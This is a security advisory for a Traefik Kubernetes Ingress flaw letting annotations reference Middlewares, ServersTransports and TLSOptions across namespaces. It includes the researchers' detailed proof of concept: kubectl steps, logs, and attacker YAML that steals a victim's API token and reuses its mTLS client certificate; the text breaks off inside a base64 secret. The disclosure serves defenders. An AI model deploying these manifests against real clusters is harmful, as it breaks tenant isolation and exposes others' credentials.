github.com/traefik/traefik/v2: Traefik: Kubernetes Ingress and Service annotations allow cross-namespace references to Middlewares, ServersTransports, and TLSOptions
What fixes it
No source in this snapshot names a fixed version.
Description
Summary
There is a medium severity vulnerability in Traefik's Kubernetes Ingress provider that allows an actor with permission to create or update Ingress or Service resources in one namespace to reference Middleware, ServersTransport, and TLSOption resources from other namespaces through annotations. Unlike the Kubernetes CRD provider, which rejects such references when allowCrossNamespace is disabled, the annotation path performs no namespace validation, partially bypassing namespace-based tenant isolation. In multi-tenant clusters, this can expose another tenant's secrets, such as credentials injected by a Headers middleware or a client certificate configured in a ServersTransport. The fix introduces the crossProviderNamespaces option on the Kubernetes providers, which must be explicitly set to restrict which namespaces are allowed to use cross-provider references; when it is left unset, all namespaces remain allowed.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.46
- https://github.com/traefik/traefik/releases/tag/v3.6.17
- https://github.com/traefik/traefik/releases/tag/v3.7.1
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Traefik: Missing Cross-Namespace Validation When Using K8s Annotations
Brief Summary
Traefik in Kubernetes (K8s) allows cross-namespace access to Traefik resources when using Annotations on Ingress and Service resources.
Table of Content
- [Traefik: Missing Cross-Namespace Validation When Using K8s Annotations](#traefik-missing-cross-namespace-validation-when-using-k8s-annotations)
- [Brief Summary](#brief-summary)
- [Table of Content](#table-of-content)
- [Description](#description)
- [Affected Version](#affected-version)
- [Source Code References](#source-code-references)
- [Prerequisites](#prerequisites)
- [Impact](#impact)
- [Security Researcher / Reporter](#security-researcher--reporter)
- [Proof of Concept](#proof-of-concept)
- [Middleware Proof Of Concept](#middleware-proof-of-concept)
- [Step 1: Preparation](#step-1-preparation)
- [Step 2: Create Victim's Resources](#step-2-create-victims-resources)
- [Step 3: Create Attacker Resources](#step-3-create-attacker-resources)
- [Step 4: Attacker steals API Token](#step-4-attacker-steals-api-token)
- [ServersTransport Proof Of Concept](#serverstransport-proof-of-concept)
- [Step 1: Create Victim and Attacker Namespaces](#step-1-create-victim-and-attacker-namespaces)
- [Step 2: Create Victim Resources](#step-2-create-victim-resources)
- [Step 3: Create Attacker Resources](#step-3-create-attacker-resources-1)
- [Step 3: Attacker steals Client Certificate to authenticate against protected resource living in the victim's own namespace](#step-3-attacker-steals-client-certificate-to-authenticate-against-protected-resource-living-in-the-victims-own-namespace)
- [Recommendation](#recommendation)
- [Appendix](#appendix)
- [Resources](#resources)
- [PoC router.middlewares / victim.yaml](#poc-routermiddlewares--victimyaml)
- [PoC router.middlewares / attacker.yaml](#poc-routermiddlewares--attackeryaml)
- [PoC service.serverstransport / victim.yaml](#poc-serviceserverstransport--victimyaml)
- [PoC service.serverstransport / attacker.yaml](#poc-serviceserverstransport--attackeryaml)
- [PoC router.middlewares intern-demo-access-victims-pod-wo-auth.txt](#poc-routermiddlewares-intern-demo-access-victims-pod-wo-authtxt)
- [PoC router.middlewares intern-demo-access-victims-pod-with-auth.txt](#poc-routermiddlewares-intern-demo-access-victims-pod-with-authtxt)
- [Test Setup](#test-setup)
Description
When using the Ingress and Service Annotations, it is possible to reference Middlewares, ServersTransports, and TLSOptions from foreign namespaces. While this is disallowed by default for Traefik's Kubernetes CRDs (by the [Configuration Option `providers.kubernetesCRD.allowCrossNamespace`](https://doc.traefik.io/traefik/reference/install-configuration/providers/kubernetes/kubernetes-crd/#opt-providers-kubernetesCRD-allowCrossNamespace)), no validation is done when using Annotations on K8s Ingress and Service resources.
An attacker can include these resources in an Ingress or Service configuration and thereby partially bypassing namespace-based tenant isolation. In certain cases, this will give an attacker access to data of services in other namespaces, for instance:
- If a middleware adds an API access token through the Header middleware, an attacker can steal this token.
- An attacker could include a ServersTransport that does client certificate authentication against a service to access this service.
- An attacker could include a ForwardAuth middleware to gain access to the internal response headers of the forward auth service and thus might steal internal tokens.
Affected Version
The vulnerability was tested in the current Traefik version v3.6.5. Older versions are affected, too.
Source Code References
Ingress and Service Annotations are vulnerable. There is no check implemented in:
[`pkg/provider/kubernetes/ingress/kubernetes.go`](https://github.com/traefik/traefik/blob/f794f8a29491b8467868811a3142a48e8f0a3854/pkg/provider/kubernetes/ingress/kubernetes.go#L202)
Traefik's Kubernetes CRDs are not vulnerable and prevent cross namespace access:
[`pkg/provider/kubernetes/crd/kubernetes_http.go`](https://github.com/traefik/traefik/blob/f794f8a29491b8467868811a3142a48e8f0a3854/pkg/provider/kubernetes/crd/kubernetes_http.go#L170)
Prerequisites
- Traefik is installed in Kubernetes
- No special configuration is required as the `
kubernetesIngress` provider is enabled by default - The attacker needs permission to create or modify Ingress or Service resources in one namespace
- The name of the namespace and the name of the Middleware, TLSOption, or ServersTransport resource they want to target
Impact
An attacker can include Middlewares, ServersTransports, and TLSOptions resources from foreign namespaces in their own Ingress or Service configuration, thereby partially bypassing namespace-based tenant isolation. In certain cases, this will give an attacker access to data of services in other namespaces.
Security Researcher / Reporter
- Lorin Lehawany of ERNW Enno Rey Netzwerke GmbH
- Sven Nobis of ERNW Enno Rey Netzwerke GmbH
Proof of Concept
The following descriptions explain the exploitation in detail for the two affected resource types Middleware and ServersTransport.
The proof of concept (PoC) was tested in a Traefik setup installed via Helm chart in version 37.4.0, but with the most recent Traefik app version `v3.6.5` and the default configuration. See the [test setup section](#test-setup) for details.
Middleware Proof Of Concept
The following steps demonstrate the problem with the affected `router.middlewares` annotation.
This PoC even works with restrictive Network Policies set.
Step 1: Preparation
First, the namespaces traefik-victim and traefik-attacker are created:
kubectl create namespace traefik-victim kubectl create namespace traefik-attacker namespace/traefik-victim created namespace/traefik-attacker created
In the next steps, the resources in the victim.yaml are created in the namespace traefik-victim, and the resources in the attacker.yaml are created in the namespace traefik-attacker.
Step 2: Create Victim's Resources
This step creates some resources to simulate a typical vulnerable setup with an application that uses Traefik and Ingress.
The [victim.yaml](#poc-routermiddlewares--victimyaml) creates an Ingress resource with the name traefik-ingress in the namespace traefik-victim. The Ingress exposes the victim's application under the hostname traefik-victim.gke.gcp.ernw.eu and routes all requests with the path prefix /example-app to an internal service on port 80.
The victim's application is exposed via the service example-app-service and protects its resources with an API token internally.
The application itself is a simple nginx, which is configured using the ConfigMap to deliver a static HTML page. The server rejects any request that does not contain the predefined X-API-Token HTTP header with the correct value.
This simulates an internal application that relies on a secret API token for authorization and assumes that only trusted users can provide this token.
Further, two Traefik middlewares are defined: basicauth and addheader. basicauth middleware enforces HTTP Basic Authentication, and the addheader adds an X-API-Token request header with a secret value to all incoming requests to allow access for authorized users.
This setup is deployed by the following commands:
$ kubectl apply -f victim.yaml -n traefik-victim ingress.networking.k8s.io/traefik-ingress created service/example-app-service created deployment.apps/example-app created middleware.traefik.io/addheader created middleware.traefik.io/basicauth created secret/authsecret created configmap/nginx-conf created
The screenshot victim-example-app.png below shows the basic authentication, which is required for users to access the protected resources. After successful authentication, the user is logged in, and the static HTML content is displayed, as shown in the second screenshot (victim-app.png) below.
<img width="1677" height="864" alt="victim-example-app" src="https://github.com/user-attachments/assets/945d8687-3062-4e75-8b7b-3c4cb059d68a" />
<img width="1677" height="454" alt="victim-app" src="https://github.com/user-attachments/assets/314cef38-d864-4a21-bc36-e759e32b15cb" />
The file shows [intern-demo-access-victims-pod-wo-auth.txt](#poc-routermiddlewares-intern-demo-access-victims-pod-wo-authtxt) and [intern-demo-access-victims-pod-with-auth.txt](#poc-routermiddlewares-intern-demo-access-victims-pod-with-authtxt) show that authentication is required when accessing the service internally.
Step 3: Create Attacker Resources
The [attacker.yaml](#poc-routermiddlewares--attackeryaml) contains the resources to steal the token from the `addheader` Middleware.
This attacker-controlled Ingress is deployed in the attacker's namespace and configured to use the victim's Traefik middleware through [the `router.middlewares` annotation](https://doc.traefik.io/traefik/reference/routing-configuration/kubernetes/ingress/#on-ingress).
The attacker-controlled deployment uses a simple `whoami` container which reflects all HTTP response headers. This is used to steal the victim's credentials.
This setup is deployed by the following commands in the namespace traefik-attacker:
$ kubectl apply -f attacker.yaml -n traefik-attacker ingress.networking.k8s.io/traefik-ingress created deployment.apps/whoami created service/whoami created
The following excerpt from the Traefik Pod shows that the resource from the victim's namespace is configured in the attacker's namespace:
2025-12-17T19:49:37Z DBG github.com/traefik/traefik/v3/pkg/middlewares/headers/headers.go:26 > Creating middleware entryPointName=websecure middlewareName=traefik-victim-addheader@kubernetescrd middlewareType=Headers routerName=websecure-traefik-attacker-traefik-ingress-traefik-attacker-gke-gcp-ernw-eu-foo@kubernetes
2025-12-17T19:49:37Z DBG github.com/traefik/traefik/v3/pkg/middlewares/headers/headers.go:46 > Setting up customHeaders/Cors from {map[X-API-Token:example-secret-api-token] map[] false [] [] [] [] [] 0 false [] [] map[] 0 false false false false false false false <nil> <nil> <nil> <nil> <nil>} entryPointName=websecure middlewareName=traefik-victim-addheader@kubernetescrd middlewareType=Headers routerName=websecure-traefik-attacker-traefik-ingress-traefik-attacker-gke-gcp-ernw-eu-foo@kubernetesThis behavior is different to Traefik's IngressRoute which prevents this and is *not* vulnerable:
2025-06-05T19:48:45Z ERR github.com/traefik/traefik/v3/pkg/provider/kubernetes/crd/kubernetes_http.go:82 > Failed to create middleware keys error="middleware default/test is not in the IngressRoute namespace traefik-test" ingress=traefik-route namespace=traefik-test providerName=kubernetescrd 2025-06-05T19:48:45Z DBG github.com/traefik/traefik/v3/pkg/provider/kubernetes/crd/kubernetes.go:179 > Skipping Kubernetes event kind *v1.ConfigMap providerName=kubernetescrd 2025-06-05T19:48:45Z ERR github.com/traefik/traefik/v3/pkg/provider/kubernetes/crd/kubernetes_http.go:82 > Failed to create middleware keys error="middleware default/test is not in the IngressRoute namespace traefik-test" ingress=traefik-route namespace=traefik-test providerName=kubernetescrd
Step 4: Attacker steals API Token
As a result, the attacker can obtain the API Token that was originally intended only for the victim’s internal application, without being authorized to the victim’s service. This is done via an attacker accessing his exposed service, which reflects all HTTP response headers, including the X-Api-Token: example-secret-api-token.
The screenshot `attacker-controlled-pod-whoami-reflects-all-http-response-headers.png` below shows this.
<img width="1674" height="446" alt="attacker-controlled-pod-whoami-reflects-all-http-response-headers" src="https://github.com/user-attachments/assets/99d6bd00-f2cc-4139-a839-c581f9b9a98e" />
ServersTransport Proof Of Concept
The following steps demonstrate the problem with the affected ServersTransport annotation.
This PoC does not work if Network Policies filter traffic to the victim's services from the attacker's namespace.
Step 1: Create Victim and Attacker Namespaces
First, the namespaces traefik-victim and traefik-attacker are created:
kubectl create namespace traefik-victim kubectl create namespace traefik-attacker namespace/traefik-victim created namespace/traefik-attacker created
In the next steps, the resources in the victim.yaml are created in the namespace traefik-victim, and the resources in the attacker.yaml are created in the namespace traefik-attacker.
Step 2: Create Victim Resources
This step creates some resources to simulate a typical vulnerable setup with an application which is using Traefik and Ingress. It simulates a setup where the internal service (mtls-nginx) is protected with mTLS.
The [victim.yaml](#poc-serviceserverstransport--victimyaml) creates multiple resources to demonstrate the following scenario: A user accesses the application via HTTPS, where access from the outside is restricted through basic authentication and client certificate authentication is enforced inside the cluster.
The resource traefik-ingress exposes the victim's application under the hostname traefik-victim.gke.gcp.test.eu with the path prefix /example-app and enforces basic authentication via the basicauth middleware.
The Ingress forwards traffic to the Service mtls-nginx, which represents the nginx Pod.
The mtls-nginx Service routes traffic to the deployment mtls-nginx, which runs the nginx web server. For demonstration-purposes the web server delivers some static content.
The ServersTransport resource with the name serverstransport defines the mTLS settings for Traefik. It requires to specify the server name, root CA, and client certificate to authenticate with the nginx.
To simulate a more realistic scenario, the defined Middleware basicauth enforces basic authentication using the Secret authsecret for username/password so that access from the outside is restricted.
This setup is deployed by the following commands:
$ kubectl apply -f vicitim.yaml -n traefik-victim ingress.networking.k8s.io/traefik-ingress created service/mtls-nginx created deployment.apps/mtls-nginx created serverstransport.traefik.io/serverstransport created configmap/nginx-mtls-conf created configmap/client-ca-cert created secret/nginx-tls created secret/client-cert-secret created secret/nginx-cert created middleware.traefik.io/basicauth created secret/authsecret created
Step 3: Create Attacker Resources
The [attacker.yaml](#poc-serviceserverstransport--attackeryaml) contains the resources to get access the victim's mTLS protected service.
The attacker's setup exposes the host traefik-attacker.gke.gcp.ernw.eu that forwards traffic to a socat proxy, which routes HTTPS connections directly to the victim’s mTLS service to authenticate successfully. Traefik perform client certificate authentication with the victim's client certificate through the configuration of the [`service.serverstransport` annotation](https://doc.traefik.io/traefik/reference/routing-configuration/kubernetes/ingress/#on-service). The attacker does not need RBAC access to the victim's namespace to do it.
An attacker can use the `service.serverstransport` annotation to do mTLS authentication against other services inside and outside of the cluster, too.
This setup is deploy by the following commands in the namespace traefik-attacker:
$ kubectl apply -f attacker.yaml -n traefik-attacker ingress.networking.k8s.io/traefik-ingress created service/socat-proxy created deployment.apps/socat-proxy created
The following excerpt from the Traefik Pod shows that the resource from the victim's namespace is configured in the attacker's namespace:
2025-12-18T12:08:25Z DBG github.com/traefik/traefik/v3/pkg/server/configurationwatcher.go:227 > Configuration received config={"http":{"routers":{"traefik-attacker-traefik-ingress-traefik-attacker-gke-gcp-ernw-eu-example-app":{"entryPoints":["web","websecure"],"rule":"Host(`traefik-attacker.gke.gcp.ernw.eu`) && PathPrefix(`/example-app`)","service":"traefik-attacker-socat-proxy-443"},"traefik-victim-traefik-ingress-traefik-victim-gke-gcp-ernw-eu-example-app":{"entryPoints":["web","websecure"],"middlewares":["traefik-victim-basicauth@kubernetescrd"],"rule":"Host(`traefik-victim.gke.gcp.ernw.eu`) && PathPrefix(`/example-app`)","service":"traefik-victim-mtls-nginx-443"}},"services":{"traefik-attacker-socat-proxy-443":{"loadBalancer":{"passHostHeader":true,"responseForwarding":{"flushInterval":"100ms"},"servers":[{"url":"https://10.80.0.6:443"}],"serversTransport":"traefik-victim-serverstransport@kubernetescrd","strategy":"wrr"}},"traefik-victim-mtls-nginx-443":{"loadBalancer":{"passHostHeader":true,"responseForwarding":{"flushInterval":"100ms"},"servers":[{"url":"https://10.80.2.7:443"}],"serversTransport":"traefik-victim-serverstransport@kubernetescrd","strategy":"wrr"}}}},"tcp":{},"udp":{}} providerName=kubernetes
[...]
routerName=traefik-attacker-traefik-ingress-traefik-attacker-gke-gcp-ernw-eu-example-app@kubernetes serviceName=traefik-attacker-socat-proxy-443@kubernetes
2025-12-18T12:08:25Z DBG github.com/traefik/traefik/v3/pkg/server/service/service.go:432 > Creating server URL=https://10.80.0.6:443 entryPointName=web routerName=traefik-attacker-traefik-ingress-traefik-attacker-gke-gcp-ernw-eu-example-app@kubernetes serverIndex=0 serviceName=traefik-attacker-socat-proxy-443@kubernetes
[...]
2025-12-18T12:08:25Z DBG github.com/traefik/traefik/v3/pkg/server/service/service.go:374 > Creating load-balancer entryPointName=web routerName=traefik-victim-traefik-ingress-traefik-victim-gke-gcp-ernw-eu-example-app@kubernetes serviceName=traefik-victim-mtls-nginx-443@kubernetes
2025-12-18T12:08:25Z DBG github.com/traefik/traefik/v3/pkg/server/service/service.go:432 > Creating server URL=https://10.80.2.7:443 entryPointName=web routerName=traefik-victim-traefik-ingress-traefik-victim-gke-gcp-ernw-eu-example-app@kubernetes serverIndex=0 serviceName=traefik-victim-mtls-nginx-443@kubernetesStep 3: Attacker steals Client Certificate to authenticate against protected resource living in the victim's own namespace
As a result, the attacker is able to authenticate with the client certificate from the victim's namespace against the victim's service and thus bypass the mTLS authentication.
The screenshot `attacker-accessing-victims-protected-resources.png` below shows this.
<img width="1673" height="525" alt="attacker-accessing-victims-protected-resources" src="https://github.com/user-attachments/assets/21d2d4ac-fdb3-4cfd-ac4b-4696952e9815" />
Recommendation
Disallow cross-namespaces access for annotations-based configuration by default, as in Traefik's Kubernetes CRDs, and offer a [Configuration Option like `providers.kubernetesCRD.allowCrossNamespace`](https://doc.traefik.io/traefik/reference/install-configuration/providers/kubernetes/kubernetes-crd/#opt-providers-kubernetesCRD-allowCrossNamespace) to allow it.
Appendix
Resources
PoC router.middlewares / victim.yaml
kind: Ingress
apiVersion: networking.k8s.io/v1
metadata:
name: traefik-ingress
namespace: traefik-victim
annotations:
traefik.ingress.kubernetes.io/router.entrypoints: web,websecure
traefik.ingress.kubernetes.io/router.middlewares: "traefik-victim-basicauth@kubernetescrd,traefik-victim-addheader@kubernetescrd"
spec:
ingressClassName: traefik
rules:
- host: traefik-victim.gke.gcp.ernw.eu
http:
paths:
- path: /example-app
pathType: Prefix
backend:
service:
name: example-app-service
port:
number: 80
tls:
- hosts: ["traefik-victim.gke.gcp.ernw.eu"]
secretName: tls-cert
---
kind: Service
apiVersion: v1
metadata:
name: example-app-service
namespace: traefik-victim
spec:
ports:
- name: http
port: 80
selector:
app: example-app
---
# This web application protects it resources by an API token internally:
kind: Deployment
apiVersion: apps/v1
metadata:
name: example-app
namespace: traefik-victim
labels:
app: example-app
spec:
replicas: 1
selector:
matchLabels:
app: example-app
template:
metadata:
labels:
app: example-app
spec:
containers:
- name: nginx
image: nginx:1.29
ports:
- containerPort: 80
volumeMounts:
- name: nginx-conf
mountPath: /etc/nginx/conf.d/default.conf
subPath: nginx.conf
readOnly: true
- name: nginx-conf
mountPath: /usr/share/nginx/html/example-app/index.html
subPath: protected-page.html
readOnly: true
volumes:
- name: nginx-conf
configMap:
name: nginx-conf
items:
- key: nginx.conf
path: nginx.conf
- key: protected-page.html
path: protected-page.html
---
kind: Middleware
apiVersion: traefik.io/v1alpha1
metadata:
name: addheader
namespace: traefik-victim
spec:
headers:
customRequestHeaders:
X-API-Token: "example-secret-api-token" # Adds secret API token to request we want to steal
---
# The following resources are only for demo purposes to show a more realistic scenario:
kind: Middleware
apiVersion: traefik.io/v1alpha1
metadata:
name: basicauth
namespace: traefik-victim
spec:
basicAuth:
secret: authsecret
---
kind: Secret
apiVersion: v1
metadata:
name: authsecret
namespace: traefik-victim
type: kubernetes.io/basic-auth
data:
username: dXNlcg== # username: user
password: cGFzc3dvcmQ= # password: password
---
apiVersion: v1
kind: ConfigMap
metadata:
name: nginx-conf
namespace: traefik-victim
data:
nginx.conf: |
server {
listen 80;
server_name traefik-victim.gke.gcp.ernw.eu;
location / {
root /usr/share/nginx/html;
index index.html index.htm;
# This rejects all requests that do not contain the correct "API token":
if ($http_x_api_token != "example-secret-api-token") {
return 401;
}
}
}
protected-page.html: |
<!doctype html>
<html>
<head>
<title>Secret Password Protect Page</title>
<meta charset="utf-8" />
<meta http-equiv="Content-type" content="text/html; charset=utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<style type="text/css">
body {
background-color: #f0f0f2;
margin: 0;
padding: 0;
font-family: -apple-system, system-ui, BlinkMacSystemFont, "Segoe UI", "Open Sans", "Helvetica Neue", Helvetica, Arial, sans-serif;
}
div {
width: 600px;
margin: 5em auto;
padding: 2em;
background-color: #fdfdff;
border-radius: 0.5em;
box-shadow: 2px 3px 7px 2px rgba(0,0,0,0.02);
}
a:link, a:visited {
color: #38488f;
text-decoration: none;
}
@media (max-width: 700px) {
div {
margin: 0 auto;
width: auto;
}
}
</style>
</head>
<body>
<div>
<h1>Secret Password Protect Page</h1>
<p>The content of this page is protected by an API token and exposed only through basic auth! No other internal service can access this page. 😈</p>
</div>
</body>
</html>PoC router.middlewares / attacker.yaml
# This attacker-controlled ingress is deployed in the attacker's namespace and configured to use the victim's traefik middleware
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: traefik-ingress
annotations:
# Victim Traefik Middleware Add Header
traefik.ingress.kubernetes.io/router.middlewares: "traefik-victim-addheader@kubernetescrd"
spec:
ingressClassName: traefik
rules:
- host: traefik-attacker.gke.gcp.ernw.eu
http:
paths:
- path: /bar
pathType: Exact
backend:
service:
name: whoami
port:
number: 80
- path: /foo
pathType: Exact
backend:
service:
name: whoami
port:
number: 80
tls:
- hosts: ["traefik-attacker.gke.gcp.ernw.eu"]
secretName: tls-cert
---
# This is the attacker controlled deployment to steal the victim's credentials
apiVersion: apps/v1
kind: Deployment
metadata:
name: whoami
labels:
app: traefiklabs
name: whoami
spec:
replicas: 2
selector:
matchLabels:
app: traefiklabs
task: whoami
template:
metadata:
labels:
app: traefiklabs
task: whoami
spec:
containers:
- name: whoami
image: traefik/whoami
ports:
- containerPort: 80
---
# The HTTP service pointing to the attacker-controlled Pod to steal the victim's HTTP header credentials
apiVersion: v1
kind: Service
metadata:
name: whoami
spec:
ports:
- name: http
port: 80
selector:
app: traefiklabs
task: whoamiPoC service.serverstransport / victim.yaml
kind: Ingress
apiVersion: networking.k8s.io/v1
metadata:
name: traefik-ingress
namespace: traefik-victim
annotations:
traefik.ingress.kubernetes.io/router.entrypoints: web,websecure
traefik.ingress.kubernetes.io/router.middlewares: "traefik-victim-basicauth@kubernetescrd"
spec:
ingressClassName: traefik
rules:
- host: traefik-victim.gke.gcp.ernw.eu
http:
paths:
- path: /example-app
pathType: Prefix
backend:
service:
name: mtls-nginx
port:
number: 443
tls:
- hosts: ["traefik-victim.gke.gcp.ernw.eu"]
secretName: tls-cert
---
kind: Service
apiVersion: v1
metadata:
name: mtls-nginx
namespace: traefik-victim
annotations:
traefik.ingress.kubernetes.io/service.serverstransport: traefik-victim-serverstransport@kubernetescrd
spec:
selector:
app: mtls-nginx
ports:
- port: 443
targetPort: 443
name: https
---
# This web application protects it resources by mTLS internally:
apiVersion: apps/v1
kind: Deployment
metadata:
name: mtls-nginx
namespace: traefik-victim
labels:
app: mtls-nginx
spec:
replicas: 1
selector:
matchLabels:
app: mtls-nginx
template:
metadata:
labels:
app: mtls-nginx
spec:
containers:
- name: nginx
image: nginx:1.29
ports:
- containerPort: 443
volumeMounts:
- name: nginx-conf
mountPath: /etc/nginx/conf.d/nginx.conf
subPath: nginx.conf
readOnly: true
- name: tls-secret
mountPath: /etc/nginx/tls
readOnly: true
- name: client-ca
mountPath: /etc/nginx/client-ca
readOnly: true
- name: nginx-conf
mountPath: /usr/share/nginx/html/example-app/index.html
subPath: protected-page.html
volumes:
- name: nginx-conf
configMap:
name: nginx-mtls-conf
- name: tls-secret
secret:
secretName: nginx-tls
- name: client-ca
configMap:
name: client-ca-cert
---
kind: ServersTransport
apiVersion: traefik.io/v1alpha1
metadata:
name: serverstransport
namespace: traefik-victim
spec:
serverName: mtls-nginx.traefik-victim.svc.cluster.local
rootCAsSecrets:
- nginx-cert
certificatesSecrets:
- client-cert-secret
---
kind: ConfigMap
apiVersion: v1
metadata:
name: nginx-mtls-conf
namespace: traefik-victim
data:
nginx.conf: |
server {
listen 443 ssl;
server_name traefik-victim.gke.gcp.ernw.eu;
ssl_certificate /etc/nginx/tls/tls.crt;
ssl_certificate_key /etc/nginx/tls/tls.key;
# Client certificate auth
ssl_client_certificate /etc/nginx/client-ca/ca.crt;
ssl_verify_client on;
location / {
root /usr/share/nginx/html;
index index.html index.htm;
}
}
protected-page.html: |
<!doctype html>
<html>
<head>
<title>Secret Password Protect Page</title>
<meta charset="utf-8" />
<meta http-equiv="Content-type" content="text/html; charset=utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<style type="text/css">
body {
background-color: #f0f0f2;
margin: 0;
padding: 0;
font-family: -apple-system, system-ui, BlinkMacSystemFont, "Segoe UI", "Open Sans", "Helvetica Neue", Helvetica, Arial, sans-serif;
}
div {
width: 600px;
margin: 5em auto;
padding: 2em;
background-color: #fdfdff;
border-radius: 0.5em;
box-shadow: 2px 3px 7px 2px rgba(0,0,0,0.02);
}
a:link, a:visited {
color: #38488f;
text-decoration: none;
}
@media (max-width: 700px) {
div {
margin: 0 auto;
width: auto;
}
}
</style>
</head>
<body>
<div>
<h1>Secret Password Protect Page</h1>
<p>The content of this page is protected by mTLS internally and exposed only through basic auth! No other internal service can access this page. 😈</p>
</div>
</body>
</html>
---
kind: ConfigMap
apiVersion: v1
metadata:
name: client-ca-cert
namespace: traefik-victim
data:
ca.crt: |
-----BEGIN CERTIFICATE-----
MIIFjjCCA3agAwIBAgIUApAFCTgKenO0yFHeVjIBQCxSDuYwDQYJKoZIhvcNAQEL
BQAwLDEqMCgGA1UEAwwhdHJhZWZpay50cmFlZmlrLnN2Yy5jbHVzdGVyLmxvY2Fs
MB4XDTI1MDYxMTE1NTUzM1oXDTM1MDYwOTE1NTUzM1owLDEqMCgGA1UEAwwhdHJh
ZWZpay50cmFlZmlrLnN2Yy5jbHVzdGVyLmxvY2FsMIICIjANBgkqhkiG9w0BAQEF
AAOCAg8AMIICCgKCAgEAug8bkYcleEmD2X/YQO/CM//CS42GCxht5SRRT/vbiz+l
LZFFvRsDWc7FIM+YTvBSc13oTv700jcKMQB4uS5y+1+nqQV5aY7RNH+ethuH8586
yC/L/J+IxqPcLm10Bl54/GQF3HF7jiYtvNe8U/xTZynmtCOIS5AjtYdaAG1XLSh3
JuuzXreF145HSqPhHrIiDJGIhhyyQC831h5+B3szRVyKH3pcsI53Klu2XQwIR4y6
OMkZrnQxOiTPz8SruCgIl0u1Otst6M3AbtMpyVe4F1Ln4XiOvOTtBnKN1Dof35gU
Rtbau/2pNti+QkZ88Pwxzr4Qywa4/aTsD4/gDCZsKkcYiSl9PydSwCJLIuHbrUHL
VBBdQvKNPIOY9llYMrepnWpraocowMsBBuH8toDNRGDqOw2ifDbkY5AA9+akC4yj
lJXeGncIGZWez6X7FNCyi7SfHZ8n8TOgKjiJ32frjNmLgWXHizZ+ouDcdBBGf1za
DyFwJgapjg69dMxypsCT5YCWhbRHn1yguH0rLJOPeauY9aO0rDXh6IM67bzMNtBa
j9Tq2t29R8O0o+mj7J1ZGUFQnCOmtGjZO226djwFWWTBJUHU11ryzx+5OTMfbLCs
tJfzGujj+Frrb1ehi/vNLryjw+Nl4qzmIPFSZeeWRt0CBdB+0ZIlygFY1cyBrFEC
AwEAAaOBpzCBpDAdBgNVHQ4EFgQUKVBrW4LJfQ6KJngrL4EbMfGnEWIwHwYDVR0j
BBgwFoAUKVBrW4LJfQ6KJngrL4EbMfGnEWIwDwYDVR0TAQH/BAUwAwEB/zBRBgNV
HREESjBIgiF0cmFlZmlrLnRyYWVmaWsuc3ZjLmNsdXN0ZXIubG9jYWyCIyoudHJh
ZWZpay50cmFlZmlrLnN2Yy5jbHVzdGVyLmxvY2FsMA0GCSqGSIb3DQEBCwUAA4IC
AQCNgyOjbWEyWa2IltpSxnt2+9pbUsFeprl2r2vzYH/j56lpnjlQXJEpZsfC40Km
aEylZhIrCqxOnuyGHQ1HF8yczS7Hd2NPK7HlHCMwpH2bnoQymgw1/v+Y9bFlnRcY
A2Ccn13mURPhoDZYCAeoMG063Ee56u8NTJrz2VmSw8xJo2CwBF+vzFEHzQHPosJK
laY+6sJraxM3x/eIDVg3hLl6u2KZmErzSDE12LTC2Nodjv6VkdMqwJSiQ5bOEYdg
bA6vNH8nOqeTBeKGjkt7+EYbI/oW/3ZRirZL/RqNrgv+fPkFxjoXmD1rtP7HGDkf
ZSGejBIe+9lyXnl0+rYHPm96J2b5q3LERdBmkecRoUmrebZ9hDLI5F8EAnOe+pi2
QjWCwsj6orCLFDAkFT0iedCTjvGMPya3Fe0f5tMUz0y6ZyDb9JRZjNMAOMm5r48W
QhK6GMlPmK4G5tuLD4WCeQkvvdjuYrI/ykLQxvwlAOR1C8uYXwJpB7DsUUZUHYos
YjzpSlkdIhPSbOm9iKSuhGFQVDtBl3p5Vemc6r/w8vi6CTxq3aK7RPH/mQ3qkXKV
93ilHd2pALCVVQxWNVWbFc2tC+8huJnNsv2pEOLC302q8oWiDc4I0lcq6t8bHSkN
DtmLINbtzdQ/PK6q7RJU54TLfA8O4ticj8HLzozsDMEuDw==
-----END CERTIFICATE-----
---
kind: Secret
apiVersion: v1
metadata:
name: nginx-tls
namespace: traefik-victim
type: kubernetes.io/tls
data:
tls.crt: > # mtls-nginx.traefik-victim.svc.cluster.local.crt
LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUZ0akNDQTU2Z0F3SUJBZ0lVSnFKb2VvMElYa2dLcjRwOGpBWEtJb1BoSFpvd0RRWUpLb1pJaHZjTkFRRUwKQlFBd05qRTBNRElHQTFVRUF3d3JiWFJzY3kxdVoybHVlQzUwY21GbFptbHJMWFpwWTNScGJTNXpkbU11WTJ4MQpjM1JsY2k1c2IyTmhiREFlRncweU5URXdNVGt4TkRNd01UUmFGdzB6TlRFd01UY3hORE13TVRSYU1EWXhOREF5CkJnTlZCQU1NSzIxMGJITXRibWRwYm5ndWRISmhaV1pwYXkxMmFXTjBhVzB1YzNaakxtTnNkWE4wWlhJdWJHOWoKWVd3d2dnSWlNQTBHQ1NxR1NJYjNEUUVCQVFVQUE0SUNEd0F3Z2dJS0FvSUNBUUN5Q1BHWmFVTk92VnN4bGtiMQp5RDMvSnkyNS9vQmFmNlBTdWc5Q3NWWnNpU0lOeXJiaGpwRmRXTlQrY0dEcGg0d2xpaEZVWi81YjB1UlcwUG9vCjloU243QXRWSGVwZzRCU0g5VmF1U1BzSENDdWxQTDloU0orVDJKN3k1ZjNnd0VHanVJZVlyNWhrb0h3L1hGdSsKOXZKVHdnbkJxT2ErWVIvTEppQmQ4QnB3R3doeEE0a0NjbFRvOHNZTWFwWDh0U25ZbXBOVE1IZ0NPdlRnNi9DeApLYTRHUytMTnhpUkg5aDZyeFpMSXhBNDlkdVFVU3ZkR3NFZjFNdzlza1dmMmRFVUdUdVR5NWdaU3JGNDZkak9pClFNVzBZWmZDRXp4WGUwVHN2TWR6WnNzTVRDN1doNnlmYUNvc2dDRkhzSC9kanZTQW5JZGNpN3pZUmwzdVJZK2kKVDVvejk4dFMybHgvSGVlZEoyYWI5Q2VqTmxFQzB2c1A4YzJ5enVwUnhScUVrTVQ0ejZ4QksyNTltYXdiM1FoUwowQk9VbEg0S29DVWR3bWVEcVZlMVhrRG40MjFKWjBZMTRMSVJsRDRCMEsvVGVBZUFTeXFwSDZPR3JMKy9Cd0p